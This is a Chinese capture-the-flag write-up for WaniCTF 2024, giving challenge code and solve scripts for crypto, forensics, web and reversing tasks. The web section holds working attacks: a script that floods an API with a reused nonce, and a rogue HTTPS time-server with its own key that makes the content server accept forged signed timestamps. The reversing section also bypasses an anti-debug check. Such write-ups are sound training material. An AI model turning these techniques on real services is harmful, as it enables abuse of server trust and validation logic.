WaniCTF 2024 WP Crypto beginners_rsa 题目 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import * p = getPrime(64 ) q = getPrime(64 ) r = getPrime(64 ) s = getPrime(64 ) a = getPrime(64 ) n = p*q*r*s*a e = 0x10001 FLAG = b'FLAG{This_is_a_fake_flag}' m = bytes_to_long(FLAG) enc = pow (m, e, n)print (f'n = {n} ' )print (f'e = {e} ' )print (f'enc = {enc} ' )''' n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347 e = 65537 enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265 '''
解题 :
yafu 分解
1 yafu -x64.exe factor (317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347 )
多因数求解
1 2 3 4 5 6 7 8 9 10 11 12 13 enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265 n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347 p = 11771834931016130837 q = 12109985960354612149 r = 9953162929836910171 s = 13079524394617385153 a = 17129880600534041513 phi = (p-1 )*(q-1 )*(r-1 )*(s-1 )*(a-1 ) d = inverse(0x10001 , phi) m = pow (enc, d, n)print (long_to_bytes(m).decode())
FLAG{S0_3a5y_1254!!}
beginners_aes 题目 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import hashlibfrom os import urandomfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad key = b'the_enc_key_is_' iv = b'my_great_iv_is_' key += urandom(1 ) iv += urandom(1 ) cipher = AES.new(key, AES.MODE_CBC, iv) FLAG = b'FLAG{This_is_a_dummy_flag}' flag_hash = hashlib.sha256(FLAG).hexdigest() msg = pad(FLAG, 16 ) enc = cipher.encrypt(msg)print (f'enc = {enc} ' ) print (f'flag_hash = {flag_hash} ' ) ''' enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18' flag_hash = 6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e '''
解题 :
随机key只有1字节 可以直接爆破
1 2 3 4 5 6 7 8 9 10 11 12 enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18' flag_hash = '6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e' for i in range (256 ): for j in range (256 ): key = b'the_enc_key_is_' + bytes ([i]) iv = b'my_great_iv_is_' + bytes ([j]) dec = AES.new(key, AES.MODE_CBC, iv).decrypt(enc)[:32 ] if dec[:4 ] == b'FLAG' and hashlib.sha256(dec).hexdigest() == flag_hash: print (f'dec = {dec} ' ) break
FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}
replacement 题目 :
链接:https://pan.baidu.com/s/1vGXTelu7VjI_F95Jh5IB_g?pwd=p68u
1 2 3 4 5 6 7 8 9 10 11 12 import hashlib cal = 'FLAG{This_is_a_flag}' enc = []for char in cal: x = ord (char) x = hashlib.md5(str (x).encode()).hexdigest() enc.append(int (x, 16 )) with open ('my_diary_11_8_Wednesday1.txt' , 'w' ) as f: f.write(str (enc))
解题 :
简单的单字符hash加密,可以生成所有打印字符的加密结果 对比密文得到明文
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import hashlibimport stringdef getHash (char ): x = ord (char) x = hashlib.md5(str (x).encode()).hexdigest() return int (x, 16 ) chars = string.printable cd = {}for i in chars: cd[getHash(i)] = iwith open ('my_diary_11_8_Wednesday.txt' , 'r' ) as f: enc = eval (f.read())for j in enc: print (cd[j], end='' ) ''' Wednesday, 11/8, clear skies. This morning, I had breakfast at my favorite cafe. Drinking the freshly brewed coffee and savoring the warm buttery toast is the best. Changing the subject, I received an email today with something rather peculiar in it. It contained a mysterious message that said "This is a secret code, so please don't tell anyone. FLAG{13epl4cem3nt}". How strange! Gureisya '''
FLAG{13epl4cem3nt}
Forensics tiny_usb 题目 :
链接:https://pan.baidu.com/s/1lwil5baYKU6tpwfcH53IjA?pwd=x2a6
解题 :
双击打开既是FLAG
FLAG{hey_i_just_bought_a_usb}
Surveillance_of_sus 题目 :
链接:https://pan.baidu.com/s/1Fx5VhBhwuYg27dSvCU1_Jg?pwd=w35v
解题 :
查看文件头 搜索发现是 RDP Bitmap 缓存文件 记录有图片碎片
使用 工具提取 bmc-tools.py
1 python bmc-tools.py -s Cache_chal.bin -d ./
发现有flag 碎片 拼接 得到flag
FLAG{RDP_is_useful_yipeee}
codebreaker 题目 :
链接:https://pan.baidu.com/s/1qm6bMckH3w40NZDiKxCxpA?pwd=cv2e
解题 :
修复二维码
使用 Adobe Illustrator 工具 建立无色 29*29 的网格 大小与二维码一样 使用实时上色工具将对应位置填充白色
已知 29*29 的二维码的模板 固定位置的黑色 再把不是纯黑的格子填成白色 就能扫了
FLAG{How_scan-dalous}
mem_search 题目 :
我发现了一个未知文件,打开它后,它引起了一些奇怪的行为,所以我进行了内存转储!攻击是如何进行的?
注意:文件中有两个FLAG。以 FLAG{H 开头的不是正确答案。请提交以 FLAG{D. 开头的。
链接:https://pan.baidu.com/s/1osqkusTAG9H-C_65dUStxQ?pwd=rbki
解题 :
使用 MemProcFS-Analyzer 打开
通过分析 在 浏览器记录(timeline_web.csv)中 发现异常
base64解码 得到flag
继续分析 找另一个flag
在文件列表中(files.csv) 发现异常文件
010 分析 发现base64 编码的内容
解码后发现下载了一个 msedge.exe 在文件列表找到这个exe
运行得到一个base64字符串
解码得到另一个flag
FLAG{Dayum_this_is_secret_file}
I_wanna_be_a_streamer 题目 :
Sorry Mom, I’ll work as a streamer.Watch my stream once in a while.(H.264 is used for video encoding.)
链接:https://pan.baidu.com/s/1DIhEWvgQQOCooj-uzfXQog?pwd=dsdi
解题 :
Wireshark 打开 参照 wireshark提取视频数据之RTP包中提取H264和H265 安装插件解密h.264 流量
FLAG{Th4nk_y0u_f0r_W4tching}
tiny_10px 题目 :
链接:https://pan.baidu.com/s/1DN9P8rcWZCYaSHSMebiySA?pwd=jmxj
解题 :
010 Editor 打开 尝试修改图片宽高 发现有效果 但是不知道正确的宽高是多少
写 python 脚本 爆破宽高
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import shutildef modify_file (file_path, position, new_bytes, new_file_path ): shutil.copy(file_path, new_file_path) with open (new_file_path, 'r+b' ) as file: file.seek(position) file.write(new_bytes)for i in range (5 , 20 ): for j in range (5 , 20 ): position = 0xd90 y = i * 10 sy = y.to_bytes(2 , byteorder='big' ) x = j * 10 sx = x.to_bytes(2 , byteorder='big' ) hex_value = sy + sx file_path = r'chal_tiny_10px.jpg' new_file_path = rf'imgs\tiny_{str (y)} _{str (x)} .jpg' modify_file(file_path, position, hex_value, new_file_path)
宽度为 160 的可以正常显示
FLAG{b1g_en0ugh}
WEB Bad_Worker 签到题 请求被 service worker 拦截修改了 直接 curl 请求真实 FLAG.txt 获得flag
FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}
pow 题目 :
解题 :
查看代码发现逻辑 是 满足 hash() 时 post 当前字符串到 /api/pow progress 进度加1 要将进度达到 1000000 获得flag
测试接口 发现 在数组中重复元素 post 后 progress 会加上元素的数量 那就一次多提交点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests cookie = requests.post('https://web-pow-ywu5dn.wanictf.org/api/pow' , json=[]).headers['Set-Cookie' ].split('=' )[1 ]while True : cookies = { 'pow_session' : cookie, } headers = { 'content-type' : 'application/json' , } json_data = ['2862152' ] * 90000 response = requests.post('https://web-pow-ywu5dn.wanictf.org/api/pow' , cookies=cookies, headers=headers, json=json_data) print (response.text) if 'progress' not in response.text: break
FLAG{N0nCE_reusE_i$_FUn}
One Day One Letter 题目 :
链接:https://pan.baidu.com/s/1V4JmW3kceqa5a9q8vpoWDQ?pwd=40zf
解题 :
分析代码 逻辑为 content-server 向 time-server 请求 pubkey 用来验证做签名验证 并且根据 timestamp 的值计算返回FLAG 对应位置的值 由于 content-server 和 time-server 不是同一服务器 并且 content-server 可以任意指定 time-server 的地址
那我们可以自己搭一个 time-server 从而控制 timestamp 得到flag
服务器代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import jsonimport sslfrom http import HTTPStatusfrom http.server import BaseHTTPRequestHandler, HTTPServerfrom Crypto.Hash import SHA256from Crypto.PublicKey import ECCfrom Crypto.Signature import DSS key = ECC.generate(curve='p256' ) pubkey = key.public_key().export_key(format ='PEM' )class HTTPRequestHandler (BaseHTTPRequestHandler ): def do_GET (self ): if self.path == '/pubkey' : self.send_response(HTTPStatus.OK) self.send_header('Content-Type' , 'text/plain; charset=utf-8' ) self.send_header('Access-Control-Allow-Origin' , '*' ) self.end_headers() res_body = pubkey self.wfile.write(res_body.encode('utf-8' )) self.requestline else : alltime = [] d = {} start = 1719050000 for i in range (1 , 50 ): start = start + 3600 * i x = start // (60 * 60 * 24 ) % 12 d[x] = start for i in list (d.values()): timestamp = str (int (i)).encode('utf-8' ) h = SHA256.new(timestamp) signer = DSS.new(key, 'fips-186-3' ) signature = signer.sign(h) alltime.append({'timestamp' : timestamp.decode('utf-8' ), 'signature' : signature.hex ()}) self.send_response(HTTPStatus.OK) self.send_header('Content-Type' , 'text/json; charset=utf-8' ) self.send_header('Access-Control-Allow-Origin' , '*' ) self.end_headers() res_body = json.dumps({'all' : alltime}) self.wfile.write(res_body.encode('utf-8' )) handler = HTTPRequestHandler httpd = HTTPServer(('' , 443 ), handler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="server.key" , certfile='server.crt' , server_side=True ) httpd.serve_forever()
由于get_pubkey_of_timeserver() 限制了只能是 https 而且证书还得是安全的
使用 Let’s Encrypt 生成证书
服务运行后 访问 /pubkey 可以得到自己的 pubkey 访问根 可以得到 12 和 timestamp 和 signature
获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests r = requests.get('https://xxxxxxxxxxxxxxx/' ) ts = r.json()for i in ts['all' ]: json_data = { 'timestamp' : i['timestamp' ], 'signature' : i['signature' ], 'timeserver' : 'xxxxxxxxxxxxxxx' , } response = requests.post('https://web-one-day-one-letter-content-lz56g6.wanictf.org/' , json=json_data) print (response.text.split('\n' )[1 ])
FLAG{lyingthetime}
Reversing lambda 题目 :
1 2 3 4 5 6 import sys sys.setrecursionlimit(10000000 ) (lambda _0: _0(input ))(lambda _1: (lambda _2: _2('Enter the flag: ' ))(lambda _3: (lambda _4: _4(_1(_3)))(lambda _5: (lambda _6: _6('' .join))(lambda _7: (lambda _8: _8(lambda _9: _7((chr (ord (c) + 12 ) for c in _9))))(lambda _10: (lambda _11: _11('' .join))(lambda _12: (lambda _13: _13((chr (ord (c) - 3 ) for c in _10(_5))))(lambda _14: (lambda _15: _15(_12(_14)))(lambda _16: (lambda _17: _17('' .join))(lambda _18: (lambda _19: _19(lambda _20: _18((chr (123 ^ ord (c)) for c in _20))))(lambda _21: (lambda _22: _22('' .join))(lambda _23: (lambda _24: _24((_21(c) for c in _16)))(lambda _25: (lambda _26: _26(_23(_25)))(lambda _27: (lambda _28: _28('16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r' ))(lambda _29: (lambda _30: _30('' .join))(lambda _31: (lambda _32: _32((chr (int (c,36 ) + 10 ) for c in _29.split('_' ))))(lambda _33: (lambda _34: _34(_31(_33)))(lambda _35: (lambda _36: _36(lambda _37: lambda _38: _37 == _38))(lambda _39: (lambda _40: _40(print ))(lambda _41: (lambda _42: _42(_39))(lambda _43: (lambda _44: _44(_27))(lambda _45: (lambda _46: _46(_43(_45)))(lambda _47: (lambda _48: _48(_35))(lambda _49: (lambda _50: _50(_47(_49)))(lambda _51: (lambda _52: _52('Correct FLAG!' ))(lambda _53: (lambda _54: _54('Incorrect' ))(lambda _55: (lambda _56: _56(_41(_53 if _51 else _55)))(lambda _57: lambda _58: _58)))))))))))))))))))))))))))
解题 :
提取几处for循环关键代码 测试
逻辑为
1 2 3 4 5 6 7 t1 = chr (ord ("F" ) + 12 ) t2 = chr (ord (t1) - 3 ) t3 = chr (123 ^ ord (t2)) c = chr (int ("16" , 36 ) + 10 ) t3==C => True
依次爆破每个字符 得到flag
1 2 3 4 5 6 7 8 9 10 11 import string c = '16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r' e = [chr (int (i, 36 ) + 10 ) for i in c.split('_' )]for x in range (len (e)): for m in string.printable: if chr (123 ^ ord (chr (ord (chr (ord (m) + 12 )) - 3 ))) == e[x]: print (m, end='' ) break
FLAG{l4_1a_14mbd4}
home 题目 :
链接:https://pan.baidu.com/s/1x_B4kvGAcBCteSwzoohQxw?pwd=js39
解题 :
IDA pro 64 打开 分析伪代码
关键函数 constructFlag() 对 byte_2010 做了复杂的转换 最后的结果可能是flag
main 函数有调试检查 可以绕过; 还有路径检查 需要放在 Service 文件件下运行
使用pwngdb 打开 在 main 和 constructFlag 函数下断点 运行后 跳转到 constructFlag 函数 然后 重复步过执行 观察栈中的值
1 2 3 4 5 6 7 8 gdb chal_home b main b constructFlag r jump constructFlag set context-stack-lines 50 n 5000 ...
FLAG{How_did_you_get_here_4VKzTLibQmPaBZY4}
Thread 题目 :
链接:https://pan.baidu.com/s/1ZFEzA3w7tXmXm-ng9ig6pw?pwd=znsn
解题 :
IDA pro 64 打开 分析伪代码
使用Dev-C++还原逻辑 调试运行发现 可以逐字 爆破
编写爆破代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #include <stdio.h> #include <string.h> #include <pthread.h> pthread_mutex_t mutex;int dword_4140[45 ];int dword_4020[45 ] = {0xA8 , 0x8A , 0xBF , 0xA5 , 0x2FD , 0x59 , 0xDE , 0x24 , 0x65 , 0x10F , 0xDE , 0x23 , 0x15D , 0x42 , 0x2C , 0xDE , 0x9 , 0x65 , 0xDE , 0x51 , 0xEF , 0x13F , 0x24 , 0x53 , 0x15D , 0x48 , 0x53 , 0xDE , 0x9 , 0x53 , 0x14B , 0x24 , 0x65 , 0xDE , 0x36 , 0x53 , 0x15D , 0x12 , 0x4A , 0x124 , 0x3F , 0x5F , 0x14E , 0xD5 , 0xB };int dword_4200[45 ];void *start_routine (void *arg) { int index = *(int *)arg; pthread_mutex_lock (&mutex); int count = dword_4200[index]; while (count <= 2 ) { int operation = (dword_4200[index] + index) % 3 ; if (operation == 0 ) dword_4140[index] *= 3 ; else if (operation == 1 ) dword_4140[index] += 5 ; else if (operation == 2 ) dword_4140[index] ^= 0x7F ; count = ++dword_4200[index]; } pthread_mutex_unlock (&mutex); return NULL ; }int main () { char cc[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}" ; char s[46 ] = "" ; pthread_t th[45 ]; int v8[45 ]; pthread_mutex_init (&mutex, NULL ); for (int c = 0 ; c < 45 ; ++c) { for (int d = 0 ; d < 65 ; ++d) { s[c] = cc[d]; for (int i = 0 ; i <= 44 ; ++i) { dword_4140[i] = s[i]; dword_4200[i] = 0 ; } for (int j = 0 ; j <= 44 ; ++j) { v8[j] = j; pthread_create (&th[j], NULL , start_routine, &v8[j]); } for (int k = 0 ; k <= 44 ; ++k) { pthread_join (th[k], NULL ); } if (dword_4140[c] == dword_4020[c]) { printf ("%s\n" , s); break ; } } } pthread_mutex_destroy (&mutex); return 0 ; }
FLAG{c4n_y0u_dr4w_4_1ine_be4ween_4he_thread3}
Pwnable nc 签到题 链接:https://pan.baidu.com/s/1eWoGlIodMhlxHrsyLxEgeQ?pwd=jbaa